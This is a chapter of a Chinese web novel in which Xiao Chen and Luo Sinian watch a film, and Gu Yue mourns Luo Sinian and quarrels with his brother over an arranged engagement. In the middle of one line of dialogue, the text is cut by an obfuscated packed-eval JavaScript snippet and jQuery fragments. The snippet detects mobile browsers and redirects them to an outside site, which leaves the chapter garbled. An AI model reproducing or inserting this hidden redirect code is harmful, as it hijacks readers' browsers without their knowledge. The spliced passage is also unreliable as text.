36. 第 36 章

作品:《共享男仆逃跑后渣攻们疯了

    萧沉向他解释了放映机的原理,语调平和,实际上,他自己并不清楚自己说了什么。


    面前,洛斯年听着这个人尽皆知的原理,露出恍然大悟的表情,脸上甚至有隐隐的崇拜,好像在说“你怎么什么都知道”。


    后面半场,萧沉什么情节都没看进去。


    他忍不住地一直看身边。


    看洛斯年专心致志的表情,看他映着亮光的漂亮瞳孔,看他因为俗套剧情而震惊落泪的动容。


    消失了一整年的人就在这里,毫无防备,触手可及。


    萧沉花了很大力气,才克制住自己,没有立刻伸出手。


    电影结束,洛斯年抽着鼻子,因为男女主人公最终的团圆而感动,灯都亮了,他还依依不舍,把所有彩蛋都看完才肯起身。


    他们随着人群走出去,洛斯年还是有些感叹:“要是他们的相识没有那么多错误就好了。”


    萧沉止住了脚步。


    洛斯年疑惑地回过身。


    萧沉停在原地,对着他扯起嘴角:“是啊,如果他们不是这样认识的就好了。”


    他不知道洛斯年有没有听懂这句话的深层含义,因为洛斯年好像没有太多触动,只是擦擦泪,跟他一起站在下行的扶梯。


    萧沉一阵难以言喻的怅惘。


    一起看电影是他提出来的,他想借此机会,和洛斯年拉近关系。


    可是最终被牵动情绪的人,却是他自己。


    他忽然间意识到,洛斯年真的很简单。


    好哄又好骗,如果他们不是在顾家认识,如果他们只是普通的大学同学,如果他们之间没有那么多伤人的过往......


    他一定很容易就把洛斯年骗到手了。


    不,不用骗。


    其实洛斯年一开始就已经很喜欢他了。


    萧沉感觉自己好像割裂成了两部分,一部分在现实中行走,一部分在大脑里漂浮。


    那个漂浮的自己在质问,当初到底为什么要一再推开他呢?


    明明那时候,洛斯年那么需要他,那么缺乏安全感。


    萧沉心脏泛起一阵酸涩,沉浸在强烈的悔意之中。


    身前,洛斯年忽然停住。


    萧沉顺着他的视线,看见墙上一个滚动的电子屏,上面显示着顾越的照片。


    萧沉倏然冷下脸。


    他走到洛斯年身边,轻轻地说:“顾越要举办订婚仪式了。”


    洛斯年愣了愣。


    萧沉语气随意,好像只是随口一说:“阵仗这么大,恨不得全城播报......看来顾越真的很爱这位结婚对象啊。”


    洛斯年心里乱糟糟的,像被灼伤一样,垂下眼皮。


    萧沉盯着他,幽深黑眸仿佛可以洞穿他的所有伪装:“你很介意吗?可惜顾越已经有新的爱人了。”


    “......”


    洛斯年一直知道这件事,可知道归知道,亲眼看见顾越和另一个人的亲密照,还是会难受。


    他不想对萧沉讲这些,转身想走。


    手腕却被一下子拉住。


    “你生气了吗?”萧沉身上那股强势的气息转瞬即逝,低着头,声音很低地认错,“对不起,我不是故意的。”


    洛斯年愣了愣。


    “没有......”他有些无奈,“我为什么要生你的气?”


    “我不知道,”萧沉靠近了一点,像是很容易受伤一样,贴了上来,“怕你生气,怕你又说不想见到我。”


    洛斯年:“......”


    眼前的萧沉太陌生了。


    洛斯年忍不住想,看来这次危机真的很大,萧沉居然怕到这种地步,连这么卑微的话都说得出。


    萧沉道完歉,又问他:“所以,你会忘记顾越的,对吗?”


    说话时,萧沉没什么表情,好像只是问一问。


    洛斯年不懂他为什么一直执着于这个问题,想来想去,猜测萧沉可能是想保护好友的婚姻,不想让一个低贱伶奴搅乱好兄弟的幸福。


    想到这里,洛斯年失笑摇头:“他都要结婚了,我当然不会打扰他。以前的事,我早就忘记了。”


    萧沉抿着唇角,轻声说:“那就好。”


    这句话他说得很低,低到洛斯年都没有听见。


    ——


    同一个夜晚,另一个角落。


    顾越久违地冲顾妄书发了火。


    “什么意思,什么订婚仪式?!”顾越勃然大怒,“不是告诉我只是炒作吗,现在什么情况,你要不要干脆来一场包办婚姻,让我们两个就这么盲婚哑嫁完事?!”


    顾妄书把电话拿开了一点,等顾越骂完,才不紧不慢地说:“你们门当户对,很般配。”


    “顾妄书——”顾越破口大骂,“门当户对,你怎么不跟他结婚,你怎么不结!”


    顾妄书倒是很冷静:“如果你能忘了那个人,我也不会出此下策。”


    “......”顾越咬着牙,“这个理由太荒谬了。”


    “你还要在沉浸在过去多久?”顾妄书冷淡道,“他已经死了,你该往前走,去过新的生活。”


    顾越没了声,心脏像被一把冷刀搅动,鲜血淋漓。


    顾妄书:“不过是个伶奴,你本来就不该对他倾注那么多感情,更不该因为一个死人,不停地抗拒现实。”


    顾越按住额角,哑着嗓音道:“哥,你别说了。”


    “如果你真的忘不了,我可以帮你找到替身。外貌一模一样,性格一模一样,保证你满意。”


    “阿越,他没有那么特别,你为什么不能忘了他?”


    顾越头痛欲裂,脑海里又浮现出洛斯年含泪的眼睛。


    他深吸气:“够了......”


    可顾妄书冷着嗓音,还在继续:“你们不过相处了两个月,能有多爱他?不过是因为他死得时机正巧,死在了你最爱他的时候,才会留有滤镜,如果他还活着......”


    “我宁愿死的人是我。”


    顾越颤抖的嗓音响起,打断了顾妄书的话。


    顾妄书愕然,一时间无话可说。


    顾越呼吸发颤,声音也带着哭腔:“哥,你知不知道,我有多希望他能活着?如果他还活着,哪怕他不要我,哪怕他再也不看我一眼,我也认了。”


    “我那时候还总是对他发火,他明明在我身边,却总想着萧沉,我气得要命,对他特别凶。”


    “我为什么那么坏?”顾越再也忍不住,掌心压着眼睛,却把泪水压得往外溢,“他不过是喜欢萧沉而已,他有什么错,我为什么对他那么坏?”


    顾妄书沉默着,说不出话。


    “你总让我忘了他......可我为什么应该忘了他?我有什么资格忘了他?我为什么非得和一个不爱的人结婚?”


    顾越哽咽着。


    “哥,你总认为我有一天一定会不爱他,因为我不成熟,还是因为他是伶奴?这不公平,你凭什么这么说啊......”


    “如果


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749374|174265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有那场大火,年年还活着,那么现在结婚的人应该是我们。”


    顾越像是在说一个事实,又好像在描绘一个永远不会实现的梦。


    “......哥,我真的好想他。”


    顾妄书很久都没说话。


    外面天色昏黑,远处的霓虹灯闪烁不息,市中心,无数游客、学生,欢欣雀跃地结伴而行。


    烧烤架前烟雾袅袅升起,游客们在王宫前热热闹闹地合影。


    世界没有因为谁停下,只是有人固执地把自己困在了过去,裹足不前。


    有那么一会儿,顾妄书有些失神。


    他盯着川流不息的人群,像在看一个不会休止的轮回命运。


    但当他开口,嗓音依旧冷漠:“放过他吧。”


    电话那头的声音停住了。


    顾妄书不带任何共情的痕迹,平静地说:“死去的人被一直惦记,是没办法进入往生的。你想让他一直痛苦吗?”


    说这话时,顾妄书自己都觉得自己好笑。


    用逻辑说服不了人,居然开始使用玄学了。


    可出乎意料的,顾越被这话打动了,小心翼翼地问:“真的吗?”


    “......”


    顾妄书心中大感荒谬,但还是说了下去:“当然了。听说,被执念牵绊住的灵魂,会不断重复死亡的那一幕,直到被忘记。”


    “在你一直思念他的时候,他可能在不停被烧死,大概很痛苦。”


    手机里沉默片刻,紧接着是顾越低低哭泣的声音。


    “哥,我是不是又做错事了?”


    顾妄书捏着手机,久久不能回应。


    直到电话挂断,他依然保持着通话的姿势,好一阵才迟钝地放下手。


    窗外喧嚣依旧,不断有车辆短促的鸣笛声响起。


    顾妄书按住眉心,第一次对自己的决定有了怀疑。


    他知道顾越会难过,可是没想到,顾越居然会难过到这种地步。


    也许当年,他不该出手阻挠。


    这样的话,洛斯年就不会死,顾越也不会这么痛苦。


    这天晚上,不常做梦的顾妄书也做了梦。


    梦里,洛斯年满脸仇恨地盯着他,咬牙切齿:“我恨你!是你杀了我,是你害你弟弟痛苦一辈子,杀人凶手,我会恨你一辈子!”


    滔天恨意扑面而来,顾妄书感到眩晕。


    但也就那么几秒,很快他冷静道:“你已经死了,不存在一辈子。”


    洛斯年像是噎住了。


    下一秒,也不知什么原因,他忽然转变态度,扑进顾妄书怀里,泪眼涟涟地哭:“为什么你总是这么对我?我只想要一条活路,我错了吗?”


    顾妄书僵硬在原地。


    猛然从梦境抽离之前,梦里的洛斯年仰着头,娇柔又可怜地说:“疼疼我吧,大少爷。”


    顾妄书彻底清醒了。


    洛斯年从来没说过这些话,跟他之间更没有过什么暧昧。


    他怎么会做这种梦?


    顾妄书一手捋过发根,将那个不可思议的可能压住,起身走进浴室。


    —


    城市中的另一个角落。


    顾越站在镜子前,盯着镜子里狼狈不堪的自己,正在发呆。


    过了很久,他摘下无名指的那枚茉莉花戒指,放在台面的一角。


    眼眶又一次模糊了。


    “对不起,”顾越抬着头,没有焦距地对虚空说话,“我放你自由,好不好?”